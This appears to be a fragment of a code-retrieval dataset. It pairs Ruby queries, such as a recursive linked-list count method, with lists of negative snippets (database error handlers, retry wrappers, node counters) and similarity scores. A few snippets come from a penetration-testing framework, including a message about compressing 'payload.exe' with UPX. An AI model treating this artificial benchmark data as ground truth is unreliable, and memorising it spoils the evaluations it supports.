"def no_database_error(exc)\n logger.error exc.message\n logger.error exc.backtrace.join(\"\\n\")\n Thread.current[:db_name] = 'soluzionipa_new' \n AuthHub::SpiderModel.establish_connection({})\n flash[:error] = \"Non è possibile gestire le configurazioni dell'ente!\"\n redirect_to auth_hub.dashboard_url\n end",
"def execute(sql, *args, &block)\n @db.log_yield(sql){super}\n rescue SwiftError => e\n @db.send(:raise_error, e)\n end",
"def translate_exception(exception, message) #:nodoc:\r\n return super unless exception.respond_to?(:errno)\r\n case exception.errno\r\n when 2121\r\n if exception.sql !~ /^SELECT/i then\r\n raise ActiveRecord::ActiveRecordError.new(message)\r\n else\r\n super\r\n end\r\n when 7076\r\n raise InvalidForeignKey.new(message, exception)\r\n when 7057\r\n raise RecordNotUnique.new(message, exception)\r\n else\r\n super\r\n end\r\n super\r\n end",
"def continued_exception; end",
"def underlying_exception=(_arg0); end",
"def raise(exception); end",
"def recover_from(_error); end",
"def exception_handler; end",
"def skip_schema_queries; end",
"def in_exception_context?; end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue NativeException => e\n raise unless e.message =~ /^java\\.sql\\.SQLException: (Closed Connection|Io exception:|No more data to read from socket)/\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def handle_failed_rows?\n false\n end",
"def db_error_handler(exception)\n logger.error exception.message\n logger.error exception.backtrace.join(\"\\n\")\n config = Rails.configuration.database_configuration\n host = config[Rails.env][\"host\"]\n database = config[Rails.env][\"database\"]\n username = config[Rails.env][\"username\"]\n password = config[Rails.env][\"password\"]\n default_params = { :adapter => \"mysql2\",\n :host => host,\n :username => username,\n :password => password,\n :database => database }\n if !(exception.message =~(/Table '(\\w+).(\\w+)' doesn't exist/i)).nil?\n matchdata = exception.message.match(/Table '(\\w+).(\\w+)' doesn't exist/i)\n if !matchdata[1].blank? && matchdata[1] != 'openweb' \n ActiveRecord::Base.establish_connection(default_params)\n redirect_to auth_hub.dashboard_path\n return\n end\n elsif !(exception.message =~(/Unknown database/i)).nil?\n ActiveRecord::Base.establish_connection(default_params)\n flash[:error] = \"Database non presente\"\n redirect_to auth_hub.dashboard_path\n else\n raise ActionController::RoutingError.new('Not Found')\n end\n \n end",
"def exception_on_syntax_error; end",
"def database_error_classes\n [::Amalgalite::Error, ::Amalgalite::SQLite3::Error]\n end",
"def raise_exc\n raise\n rescue\n end",
"def rescue_from(exception); end",
"def rollback_db_transaction() end",
"def rollback_db_transaction() end",
"def exceptions\n end",
"def handle_generic_error(exception)\n end",
"def with_error_handling\n return_value = yield\n @retry_count = 0\n return_value\n\n rescue PG::Error => e\n if recoverable_error?(e.message) && @retry_count < @max_retries\n @retry_count += 1\n sleep_time = sleep_time_for_error(e.message)\n log \"Failed with recoverable error (#{e.class}): #{e.message}\"\n log \"Retry attempt #{@retry_count} will occur after #{sleep_time} seconds\"\n sleep sleep_time\n retry\n\n else\n @retry_count = 0\n @error_occurred = true\n log \"An error occurred (#{e.class}): #{e.message}\"\n\n if @print_backtrace_for_all_errors || !error_backtrace_is_not_helpful?(e.class)\n log e.backtrace.join(\"\\n\")\n end\n raise e if @abort_on_error\n end\n end",
"def prepare(name, sql)\n check_disconnect_errors{super}\n end",
"def _roda_handle_main_route\n super\n rescue Sequel::DatabaseDisconnectError, Sequel::DatabaseConnectionError, PG::ConnectionBad\n Process.kill(:QUIT, $$)\n raise\n end",
"def abort_on_exception=(_arg0); end",
"def connect_database\n begin\n db = PG.connect( :dbname => 'artdb' )\n rescue PGError\n puts 'Failed to connect to artdb database.'\n end\n return db\nend",
"def connect\n @connection = ::NB::DB::PooledDBConnection.new(@connection_parameters[0]) do\n conn = ::NB::DB::FiberedPostgresConnection.connect(*@connection_parameters[1..(@connection_parameters.length-1)])\n=begin\n ::NB::DB::FiberedPostgresConnection.translate_results = false if ::NB::DB::FiberedPostgresConnection.respond_to?(:translate_results=)\n # Ignore async_exec and async_query when using postgres-pr.\n @async = @config[:allow_concurrency] && @connection.respond_to?(:async_exec)\n # Use escape string syntax if available. We cannot do this lazily when encountering\n # the first string, because that could then break any transactions in progress.\n # See: http://www.postgresql.org/docs/current/static/runtime-config-compatible.html\n # If PostgreSQL doesn't know the standard_conforming_strings parameter then it doesn't\n # support escape string syntax. Don't override the inherited quoted_string_prefix.\n NB.neverblock(false) do\n if supports_standard_conforming_strings?\n self.class.instance_eval do\n define_method(:quoted_string_prefix) { 'E' }\n end\n end\n # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of\n # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision\n # should know about this but can't detect it there, so deal with it here.\n money_precision = (postgresql_version >= 80300) ? 19 : 10\n ::ActiveRecord::ConnectionAdapters::PostgreSQLColumn.module_eval(<<-end_eval)\n def extract_precision(sql_type)\n if sql_type =~ /^money$/\n #{money_precision}\n else\n super\n end\n end\n end_eval\n #configure_connection\n end\n\t conn\n=end\n end\n end",
"def sql_state; end",
"def handle_exception(exception)\n end",
"def on_error(connection, reason)\n end",
"def safely(&block)\r\n begin\r\n yield\r\n rescue Exception => e\r\n if e.message =~ /connection was aborted/\r\n puts \" [yp searcher] Error: #{e} #{e.message}. Continuing.\"\r\n end\r\n end\r\n end",
"def allow_preparing_prepared_statements?\n false\n end",
"def skip_schema_queries=(_arg0); end",
"def safe_call# (&block)\n yield\n rescue Sunra::Utils::Recording::DBProxy::DBProxyError,\n Sunra::Recording::RecorderManager::RecorderError,\n APIError => e\n _error e\n end",
"def check_connection( conn )\n begin\n @conn.exec(\"SELECT 1\")\n rescue PG::Error => err\n $stderr.puts \"%p while CHECKING TESTING connection: %s\" % [ err.class, err.message ]\n @conn.reset\n puts \"--------- PG CONNECTION RESETED -------------\"\n end\nend",
"def exception_class; end",
"def exception_on_syntax_error=(_arg0); end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue Java::JavaSql::SQLException => e\n raise unless /^(Closed Connection|Io exception:|No more data to read from socket|IO Error:)/.match?(e.message)\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def show_detailed_exceptions?; end",
"def handle_thrift_exceptions_with_missing_message\n begin\n yield\n rescue Exception => err\n if !err.message\n if err.respond_to?(\"message=\")\n err.message = err.what || ''\n else\n def err.message\n self.what || ''\n end\n end\n end\n\n raise err\n end\n end",
"def postgres_plain_connection(ip)\n PG::Connection.new(\n host: ip,\n user: DB_USER,\n dbname: DB_NAME,\n port: DB_PORT,\n password: DB_PASSWORD,\n connect_timeout: \"1\",\n )\nend",
"def custom_silent_sql(q)\n begin\n query = q + ';' unless q =~ /;$/\n query = @db_connection.query(\"#{query}\")\n return true\n rescue => e\n if e =~ /MySQL server has gone away/\n print_error(\"Lost MySQL Connection!\")\n print_error(\"This is likely due to payload which is too large in size.....\")\n print_error(\"Try compressing with UPX to shrink size down: upx 9 -qq payload.exe\")\n puts \"\\t=> \".white + \"Then try again\".light_red + \".....\".white\n end\n return false\n end\n end",
"def postgres_query(sql=nil,doprint=false)\n ip = datastore['RHOST']\n port = datastore['RPORT']\n postgres_login unless self.postgres_conn\n unless self.postgres_conn\n return {:conn_error => true}\n end\n if self.postgres_conn\n sql ||= datastore['SQL']\n vprint_status \"#{ip}:#{port} Postgres - querying with '#{sql}'\"\n begin\n resp = self.postgres_conn.query(sql)\n rescue RuntimeError => e\n case sql_error_msg = e.to_s.split(\"\\t\")[1] # Deal with some common errors\n when \"C42601\"\n sql_error_msg += \" Invalid SQL Syntax: '#{sql}'\"\n when \"C42P01\"\n sql_error_msg += \" Table does not exist: '#{sql}'\"\n when \"C42703\"\n sql_error_msg += \" Column does not exist: '#{sql}'\"\n when \"C42883\"\n sql_error_msg += \" Function does not exist: '#{sql}'\"\n else # Let the user figure out the rest.\n if e == Timeout::Error\n sql_error_msg = 'Execution expired'\n elsif sql_error_msg.nil?\n sql_error_msg = e.inspect\n else\n sql_error_msg += \" SQL statement '#{sql}' returns #{e.inspect}\"\n end\n end\n return {:sql_error => sql_error_msg}\n end\n postgres_print_reply(resp,sql) if doprint\n return {:complete => resp}\n end\n end",
"def fatal?; end",
"def fatal?; end",
"def handle_exception datagram, e\n # stub\n end",
"def duplicate_key_update_error?(exception)# :nodoc:\n exception.is_a?(ActiveRecord::JDBCError) && exception.to_s.include?('Duplicate entry')\n end",
"def recover_from(_error)\n end",
"def error(exception) nil ; end",
"def original_exception=(_arg0); end",
"def exception_handler(ex)\n \nend",
"def target_postgresql_version; end",
"def handle_error(e)\n raise e\n end",
"def is_cached_plan_failure?(e)\n pgerror = e.cause\n\n pgerror.result.result_error_field(PG::PG_DIAG_SQLSTATE) == FEATURE_NOT_SUPPORTED &&\n pgerror.result.result_error_field(PG::PG_DIAG_SOURCE_FUNCTION) == \"runExecBuilder\"\n rescue\n false\n end",
"def silence_ddl_notices(database)\n if session.configuration.send(database)[:adapter] =~ /postgres/\n old_message_level = session.send(database).\n select_one(\"show client_min_messages\")['client_min_messages']\n session.send(database).execute \"set client_min_messages = warning\"\n end\n yield\n ensure\n if session.configuration.send(database)[:adapter] =~ /postgres/\n session.send(database).execute \"set client_min_messages = #{old_message_level}\"\n end\n end",
"def exit_exception; end",
"def process_postgres(target)\n {\n :schema => 'iglu:com.snowplowanalytics.snowplow.storage/postgresql_config/jsonschema/1-0-0',\n :data => {\n :name => target['name'],\n :host => target['host'],\n :database => target['database'],\n :port => target['port'],\n :sslMode => target['ssl_mode'].upcase,\n :schema => target['table'].split('.')[0],\n :username => target['username'],\n :password => target['password'],\n :purpose => 'ENRICHED_EVENTS'\n }\n }\nend",
"def exeception_rescuer\n begin\n yield\n rescue ActiveRecord::RecordNotFound\n exeception_to_log\n false\n end\n end",
"def exeception_rescuer\n begin\n yield\n rescue ActiveRecord::RecordNotFound\n exeception_to_log\n false\n end\n end",
"def skip_sql_param_names; end",
"def onCorruptionRepairDatabase(odb, iReason, iWhatWillbeFixed)\n end",
"def missing_primary_key(source_row:, node_id:)\n puts \"Missing primary key in '#{source_row}' for #{node_id}\"\n end",
"def connect_db_method\n begin\n self.con = PG.connect :dbname => self.dbname, :user => self.username, :password => self.password\n return true\n rescue PG::Error => e\n puts e.message\n puts \"Sorry Connection cannot be established\"\n # => Forceful exit from the program\n Kernel.exit(0)\n end\n end",
"def prepare(*args)\n ps = super\n ps.extend(::Sequel::Postgres::DatasetMethods::PreparedStatementMethods)\n ps\n end",
"def run_and_convert_exceptions(&block)\n block.call\n rescue *self.class.expected_errors => e\n raise self.class.horza_error_from_orm_error(e.class).new(e.message)\n end",
"def indexes(table, opts=OPTS)\n super\n rescue Sequel::DatabaseError => e\n raise unless foreign_key_error?(e)\n {}\n end",
"def handle_perform_error(_e); end",
"def continued_exception=(_arg0); end",
"def expect_db_error(&block)\n begin\n db_error, other_error = 'db_ok', 'other_ok'\n yield\n rescue ActiveRecord::StatementInvalid\n db_error = 'db_error'\n rescue\n other_error = 'other_error'\n end\n expect(other_error).to eql 'other_ok'\n expect(db_error).to eql 'db_error'\nend",
"def before_server_error(exception); end",
"def error_sqlstate\n IBM_DB.getErrorstate(@conn, IBM_DB::DB_CONN)\n end",
"def postgresql_version\n if undecorated_connection.respond_to?(:postgresql_version)\n super\n else\n undecorated_connection.send(:postgresql_version)\n end\n end",
"def postgresql_version\n if undecorated_connection.respond_to?(:postgresql_version)\n super\n else\n undecorated_connection.send(:postgresql_version)\n end\n end",
"def initialize_postgres_adapter\n @primary_keys = {}\n @primary_key_sequences = {}\n @supported_types = {}\n procs = @conversion_procs = CONVERSION_PROCS.dup\n procs[1184] = procs[1114] = method(:to_application_timestamp)\n end"
] |
[
"0.7802357",
"0.7327724",
"0.7076503",
"0.66844606",
"0.6499574",
"0.64048886",
"0.63983285",
"0.63972676",
"0.63218653",
"0.62573534",
"0.6249169",
"0.62398547",
"0.62343484",
"0.5983456",
"0.5956501",
"0.5956501",
"0.5956501",
"0.5956501",
"0.5956501",
"0.59356886",
"0.591678",
"0.59076184",
"0.5889456",
"0.5851763",
"0.5846297",
"0.5801169",
"0.57886034",
"0.57822955",
"0.57809186",
"0.57693774",
"0.5733023",
"0.56557363",
"0.5635894",
"0.5624011",
"0.5618312",
"0.55722505",
"0.55687773",
"0.55679035",
"0.5558269",
"0.55466574",
"0.5545904",
"0.55397564",
"0.5509233",
"0.549909",
"0.54738927",
"0.54738927",
"0.54596037",
"0.54590875",
"0.54533315",
"0.5431821",
"0.54286486",
"0.5421368",
"0.5420034",
"0.5418676",
"0.5416825",
"0.5413976",
"0.53941405",
"0.539172",
"0.5386569",
"0.5383713",
"0.5379678",
"0.53759956",
"0.53633875",
"0.53530073",
"0.5345426",
"0.53421736",
"0.5337848",
"0.53189874",
"0.531695",
"0.5307876",
"0.5303432",
"0.5303432",
"0.52913374",
"0.5288987",
"0.52880836",
"0.52780765",
"0.52752274",
"0.52708757",
"0.5270443",
"0.52634734",
"0.5263382",
"0.5260066",
"0.5255644",
"0.5254773",
"0.52479917",
"0.5247884",
"0.5244471",
"0.5243675",
"0.5237848",
"0.5231889",
"0.5231868",
"0.52277046",
"0.52247316",
"0.5212234",
"0.5209131",
"0.5208381",
"0.5208029",
"0.52074754",
"0.5193795",
"0.5192508",
"0.5191491"
] |
0.0
|
-1
|
def count(node) if node.nil? 0 else 1 end recursive
|
def count(node = head) # how does one know that node is supposed to go here?;
# i think: nodes are the only thing that can be in the list, therefore
# they're the only thing that can be counted and passed as an argument
# node must default to head because head node is the only node that is
# required for a linked list to exists. if it isn't assigned a count
# it can only be head
if node.nil? # if nothing exists in node then a linked lists doesn't exist and any data
# pushed into it, creates the list
0
else
1 + count(node.next_node) # node is a new instance of Node class and thus any methods called
# on it can only exist in the Node class. That's why there isn't
# a next_node method in the LinkedLists class. That's also why
# next_node is set as an attr_accessor, so instances of LinkedLists
# can change its state/value
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def count(node = head)\n if node.nil?\n 0\n else\n 1 + count(node.next_node)\n end\n end",
"def child_count(node, count = 0)\n return count if node.nil?\n if !node.is_a? Node\n child_count(find(node))\n else\n count += 1 if !node.left.nil?\n count += 1 if !node.right.nil?\n end\n count\n end",
"def size\n return 0 if empty?\n count_node(head, 1)\nend",
"def count_node(node, counter)\n return counter if node.tail?\n count_node(node.next_node, counter += 1)\nend",
"def count\n count = 0\n\n each do |node|\n count += 1\n end\n\n return count\n end",
"def count\n if @head.data == nil\n node_count = 0\n else\n node_count = 0\n node = @head\n until node.nil?\n node = node.next_node\n node_count += 1\n end\n end\n node_count\n end",
"def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend",
"def nodeCount\n count = 1\n\n if @children.size\n @children.each do |key, val|\n count += val.nodeCount\n end\n end\n\n count\n end",
"def count_children(node)\n\t\treturn 0 if node.children.nil?\n\t\tnode.children.count + (node.children.map {|child| count_children(child)}).inject(&:+)\n\tend",
"def count_node(node, counter)\n until node.tail?\n node = node.next_node\n counter += 1\n end\ncounter\nend",
"def count_leaf_nodes(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_leaves = count_leaf_nodes(node.left_child)\n right_leaves = count_leaf_nodes(node.right_child)\n return left_leaves + right_leaves\n end\nend",
"def count_nodes(node = @root)\n node.children.map do |child_node|\n @node_count +=1\n # binding.pry if child_node.is_word\n count_nodes(child_node)\n end\n @node_count\n end",
"def number_of_nodes(node_name)\n nodes(node_name).count\nend",
"def children_count\n 0 if @left.nil? && @right.nil?\n 1 if @left.nil? || @right.nil?\n 2\n end",
"def node_count\n raise NotImplementedError\n end",
"def size_support(node)\n return 0 if node.nil?\n size_support(node.left) + 1 + size_support(node.right)\n end",
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def subtree_count(*args)\n subtree_rels(*args).size\n end",
"def size(node = @first_pointer)\n if node\n 1 + size(node.next)\n else\n 0\n end\n end",
"def node_count(type = nil)\n if type\n value = @db.m_get(\"node#{type}\")\n if value\n value.to_i\n end\n else\n @db.m_get(\"n\").to_i\n end\n end",
"def size(node = @head, count = 0)\n return count if node.nil?\n\n size(node.next_node, count + 1)\n end",
"def depth(node, current = @root, count = 0)\n if current.eql?(node)\n return count\n elsif current.nil?\n return 0\n else\n count += 1\n count = [depth(node, current.left_node, count), depth(node, current.right_node, count)].max\n return count\n end\n end",
"def count_nodes\n @page.xpath(\"//*\").count\n end",
"def size\n counter = 0\n each { |node| counter += 1 }\n return counter\n end",
"def fulltree_count(*args)\n fulltree_rels(*args).size\n end",
"def count_child_nodes(hash = self)\n count = 0\n walk_tree(hash) do\n count += 1\n end\n count\n end",
"def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end",
"def count_children\n count = children.count\n if count\n children.each { |child| count += child.count_children }\n end\n count\n end",
"def size \n if @head == nil\n return 0\n elsif @head.next_node == nil\n return 1\n else \n count = 2\n node = @head.next_node\n while node.next_node != nil\n count += 1\n node = node.next_node\n end\n return count\n end \n end",
"def height(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_height = height(node.left_child)\n right_height = height(node.right_child)\n if left_height >= right_height\n return left_height + 1\n else\n return right_height + 1\n end\n end\nend",
"def size\n if @head.nil?\n count = 0\n else\n count = 1\n current_node = @head\n until current_node.next_node.nil?\n current_node = current_node.next_node\n count += 1\n end\n end\n count\n end",
"def size\n count = 1\n node = @node\n\n while node.next\n count += 1\n node = node.next\n end\n\n count\n end",
"def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend",
"def length\n counter = 0\n return counter if head == nil\n\n node = head\n while node \n counter += 1\n node = node.next\n end\n\n return counter\n end",
"def size()\n\t\tif !@head\n\t\t\treturn 0\n\t\telse\n\t\t\tcount = 1;\n\t\t\tcurrentNode = @head\n\n\t\t\twhile currentNode.getNextNode() do\n\t\t\t\tcurrentNode = currentNode.getNextNode()\n\t\t\t\tcount = count + 1\n\t\t\tend\n\n\t\t\treturn count\n\t\tend\n\tend",
"def member_and_collection_count_for_rails3(node)\n :resources == node.subject.message ? node.grep_nodes_count(:node_type => :call, :message => VERBS) : 0\n end",
"def length\n count = 0\n current = @head\n while current != nil\n count +=1\n current = current.next\n end\n return count\n\n # recursive (not working)\n # if current == nil\n # return 0\n # else\n # return 1 + length(current)\n # end\n end",
"def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end",
"def total_node_number_cps(tree)\n callcc{|cc|\n helper_2(tree.root, cc, 0)\n }\nend",
"def match_count(data, list = {})\n return nil if @root == nil\n i=0\n while (i<data.length)\n node = @root.find_forward(data, i, data.length-i)\n if (node!=nil && node.value!=nil)\n if (!list.has_key?(node)) \n list[node] = 1\n else\n list[node] += 1\n end\n i += node.length\n else\n i += 1\n end\n end\n list\n end",
"def node_count\n @nodes.length - 1\n end",
"def size\n i = 0\n node = @head\n while !(node.nil?)\n i += 1\n node = node.next_node\n end\n return i\n end",
"def total_count\n object.nodes.size\n end",
"def length\n current_node = @head\n count = 1\n until current_node.next_node.nil?\n current_node = current_node.next_node\n count += 1\n end\n count\n end",
"def size\n @count = @head == nil ? 0 : 1\n current_node = @head\n while current_node.next_node != nil\n @count += 1\n current_node = current_node.next_node\n end\n @count\n end",
"def superclass_count(node)\n count = 0\n n = node\n while n = n.superclass\n count += 1\n end\n count\n end",
"def size\n return 0 if @head.nil?\n number_of_nodes = 0\n current_node = @head\n while !node.nil? do\n number_of_nodes += 1\n current_node = node.next\n end\n number_of_nodes\n end",
"def count_all\n # map all nodes into enumerable\n # then add them all together (reduce :+)\n self.map { |node| node.count }.reduce(:+)\n end",
"def size\n return 0 if @head.nil?\n\n quantity = 1\n node = @head\n until node.next_node.nil?\n quantity += 1\n node = node.next_node\n end\n\n quantity\n end",
"def size\n\t\tif @head.next_node != nil\n\t\t\tn = 1\n\t\t\tnode = @head.next_node\n\t\t\twhile node.next_node != nil\n\t\t\t\tn += 1\n\t\t\t\tnode = node.next_node\n\t\t\tend\n\t\t\treturn n\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def count(array)\n if array == []\n 0\n else\n 1 + count(array[1..-1])\n end\nend",
"def num_children\n count = 0\n self.children.each do |child|\n count = count + child.num_children\n end\n\n return self.children.size + count\n end",
"def parent_count(*args)\n parent_rels(*args).size\n end",
"def size\n count = 0\n visit_nodes do\n count += 1\n end\n count\n end",
"def total_depth(node, depth = 0)\n @d = depth\n @d = @d + 1 if node.children.size > 0\n node.children.map{|c| x = total_depth(c,@d) - 1; @d = x if x > @d }\n return @d\nend",
"def count(start,last)\n current = start\n counter = 1\n until current == last\n current = current.next_node\n counter += 1\n end\n counter\n end",
"def sibling_count(*args)\n sibling_rels(*args).size\n end",
"def count(direction)\n i = 0\n node = self\n while (node != nil)\n node = node.send(direction)\n i += 1\n end\n i\n end",
"def my_count n = nil\n if block_given?\n truths = 0\n self.my_each {|o| truths += 1 if yield(o)}\n truths\n elsif n.nil?\n self.length\n else\n my_count {|x| x==n}\n end\n end",
"def child_count(*args)\n child_rels(*args).size\n end",
"def render_child_count(node = @tree.root)\n @stack.push(node)\n child_count = 0\n until @stack.empty?\n current_node = @stack.pop\n current_node.children.each do |child|\n @stack.push(child)\n child_count += 1\n end\n end\n child_count\n end",
"def get_number_of_root_elements(elements)\n num = 0\n parent_field = @db_fields[:parent]\n elements.each do |e|\n num += 1 if e.send(parent_field) == 0\n end\n num\n end",
"def count_for_node(node)\n return 0 unless node.is_a? Nokogiri::XML::Text\n node.inner_text.gsub(/--/, \"—\").gsub(/['’‘-]/, \"\").scan(script_regex).size\n end",
"def orbit_count\n return 0 unless @root\n sum_of_depths = 0\n nodes_to_traverse = [{ node: @root, depth: 0 }]\n until nodes_to_traverse.empty?\n node_pair = nodes_to_traverse.shift\n node = node_pair[:node]\n depth = node_pair[:depth]\n sum_of_depths += depth\n node.children.each { |child| nodes_to_traverse << { node: child, depth: depth + 1 } }\n end\n sum_of_depths\n end",
"def size\n if head.nil?\n return 0\n else\n count = 1 # remember, array with indexes 0,1,2,3 is size 4 !\n x = @head\n until x.next_node.nil? #problem alert\n count += 1\n x = x.next_node\n end\n\n return count\n end\n end",
"def size\n\t\t@node_amount = 1\n\t\t@current_node = @head\n\n\t\twhile @current_node != @tail\n\t\t\t@current_node = @current_node.next_node\n\t\t\t@node_amount += 1\n\t\tend\n\t\treturn @node_amount\n\tend",
"def count(*args)\n truethy_count = 0\n args.each { |el| truethy_count += 1 if yield(el) }\n truethy_count\nend",
"def total_child_count\n count = 0\n self.apply_to_children { |e| count += 1 }\n count\n end",
"def length\n count = 0\n node = @head\n while node\n count += 1\n node = node.next_node\n end\n count\n end",
"def count_children(color:)\n if color == \"no other\"\n 0\n else\n children_counts = BAG_MAP_2[color].map { |content_arry| content_arry.first }\n children = children_counts.inject(0) { |sum,x| sum + x }\n\n ary = BAG_MAP_2[color]\n\n ary.each do |arry_content|\n num = arry_content.first\n col = arry_content.last\n\n children += num * count_children(color: col)\n end\n\n children\n end\nend",
"def count(element = nil)\n if element.nil?\n return size\n end\n filter { |x| x == element }.size\n end",
"def size(root)\n leftCount = root.left ? size(root.left) : 0\n rightCount = root.right ? size(root.right) : 0\n return 1 + leftCount + rightCount\n end",
"def custom_count(array)\n counter = 0\n array.each do |elem|\n if elem != nil\n counter += 1\n end\n end\n counter\nend",
"def size\n i = 0\n current_node = @head\n while current_node != nil do\n current_node = current_node.next\n i += 1\n end\n return i\n end",
"def size\n node = @list\n size = 0\n while node != nil\n size += 1\n node = node.nextNode\n end\n size\n end",
"def depth_support(node)\n return 0 if node.nil?\n l_depth = depth_support(node.left)\n r_depth = depth_support(node.right)\n [l_depth, r_depth].max + 1\n end",
"def full_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n full_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n full_nodes_count += 1 if node.left && node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n full_nodes_count\n end",
"def getCount\n return @nodeValues.size\n end",
"def deep_count(arr)\n count = 0\n arr.each do |el|\n if el.class != Array\n count += 1\n else\n count += 1 + deep_count(el)\n end\n end\n count\nend",
"def count\n @count ||= begin\n Grim.processor.count(@path)\n end\n end",
"def on_call_count(context, expression)\n retval = process(expression, context)\n\n unless retval.is_a?(XML::NodeSet)\n raise TypeError, 'count() can only operate on NodeSet instances'\n end\n\n return retval.length.to_f\n end",
"def size\n if head == nil\n size = 0\n size\n else\n size = 1\n tmp = head\n while tmp.next_node != nil\n tmp = tmp.next_node\n size += 1\n end\n end\n size\n end",
"def count!\n count(nil)\n end",
"def leaves(node, depth=0)\n if node.left.nil? && node.right.nil?\n puts \"#{node.value}, depth: #{depth}\"\n return 1\n else\n leaves(node.left, depth+1) + leaves(node.right, depth+1)\n end\nend",
"def descendant_count(*args)\n descendant_rels(*args).size\n end",
"def depth_of(score, current = @head, count = 0)\n if current.score == nil\n nil\n elsif current.score > score\n count += 1 \n depth_of(score, current.left, count)\n elsif\n current.score < score \n count += 1\n depth_of(score, current.right, count)\n else\n count\n end\n end",
"def element_count\n\t\tleft_points = occurances(\"<\")\n\t\tright_points = occurances(\">\")\n\t\tclosures = occurances(\"/\")\n\t\treturn 0 if left_points == 0\n\t\tif left_points == right_points\n\t\t\tif closures > 0\n\t\t\t\t\n\t\t\tend\n\t\tend\n\tend",
"def leaf_count\n @leaf_count\n end",
"def length\n return 0 if head.nil?\n node = head\n length = 1\n while node.next\n node = node.next\n length += 1\n end\n return length\n end",
"def total\n object.nodes.size\n end",
"def my_count(arg = nil)\n count = 0\n if block_given?\n my_each do |val|\n count += 1 if yield(val)\n end\n count\n elsif arg.nil?\n length\n else\n my_each do |val|\n count += 1 if val == arg\n end\n count\n end\n end",
"def member_and_collection_count_for_rails2(node)\n if :resources == node.message\n hash_node = node.arguments[2]\n if hash_node\n return (hash_node.grep_nodes_count(:node_type => :lit) - hash_node.grep_nodes_count(:node_type => :hash)) / 2\n end\n end\n 0\n end",
"def exist(node, operator, counter = 0)\n return counter if node == nil\n counter = exist(node.left, operator, counter)\n if node.value == operator\n counter += 1\n end\n exist(node.right, operator, counter)\nend",
"def count\n number_of_trees + number_of_networks\n end",
"def find_length\n current_node = @head\n length = 0\n while current_node != nil\n length += 1\n current_node = current_node.next\n end\n length\n end",
"def leaves(node)\n return 1 if /\\d+/.match(node.value)\n return (leaves(node.left) + leaves(node.right))\nend",
"def render_child_type_count(node = @tree.root)\n @stack.push(node)\n result_hash = {}\n tag_count = 0\n content_count = 0\n until @stack.empty?\n current_node = @stack.pop\n current_node.children.each do |child|\n @stack.push(child)\n child.data.each do |key, value|\n if result_hash[key].nil?\n result_hash[key] = 1\n else\n result_hash[key] += 1\n end\n end\n\n end\n end\n result_hash[:total_nodes] = render_child_count(node)\n result_hash.delete(:type)\n result_hash\n end",
"def length\n @tree.length\n end",
"def count\n @count ||= 1\n end",
"def count\n @count ||= 1\n end"
] |
[
"0.8581159",
"0.7922216",
"0.7868882",
"0.7852614",
"0.7791577",
"0.77377355",
"0.77111685",
"0.7542047",
"0.753363",
"0.75239974",
"0.74870884",
"0.7389302",
"0.7286762",
"0.7277509",
"0.7137706",
"0.7110924",
"0.7061172",
"0.7010953",
"0.694168",
"0.69261456",
"0.69155866",
"0.69101065",
"0.6902792",
"0.6884067",
"0.6877256",
"0.6874489",
"0.6872961",
"0.68600816",
"0.6857534",
"0.67985344",
"0.67706174",
"0.6723811",
"0.667383",
"0.667225",
"0.66560566",
"0.6649115",
"0.6642395",
"0.6638186",
"0.66304123",
"0.66139555",
"0.66065174",
"0.6600114",
"0.6580073",
"0.6576156",
"0.6566317",
"0.6557755",
"0.65519536",
"0.65459514",
"0.65388495",
"0.65357757",
"0.6523607",
"0.6472733",
"0.6471789",
"0.646321",
"0.6454031",
"0.645066",
"0.64493287",
"0.64392823",
"0.6432487",
"0.63922375",
"0.63920915",
"0.63873893",
"0.6380823",
"0.63777775",
"0.6366877",
"0.6360501",
"0.6356509",
"0.6353843",
"0.63482475",
"0.6332719",
"0.63309824",
"0.63184357",
"0.6316289",
"0.6299788",
"0.6281392",
"0.62723446",
"0.62629855",
"0.6252906",
"0.62362885",
"0.6214044",
"0.62122226",
"0.6210428",
"0.62073666",
"0.62041813",
"0.6197545",
"0.6193472",
"0.6192534",
"0.6185444",
"0.61658376",
"0.6164909",
"0.6164486",
"0.6163841",
"0.6162825",
"0.6161594",
"0.615704",
"0.6156903",
"0.61567277",
"0.6153275",
"0.61504006",
"0.61504006"
] |
0.7407691
|
11
|
Quick Bug does a puts to the quick bug output file passing it the args that it was passed.
|
def qb(*args)
$qb.puts(*args)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
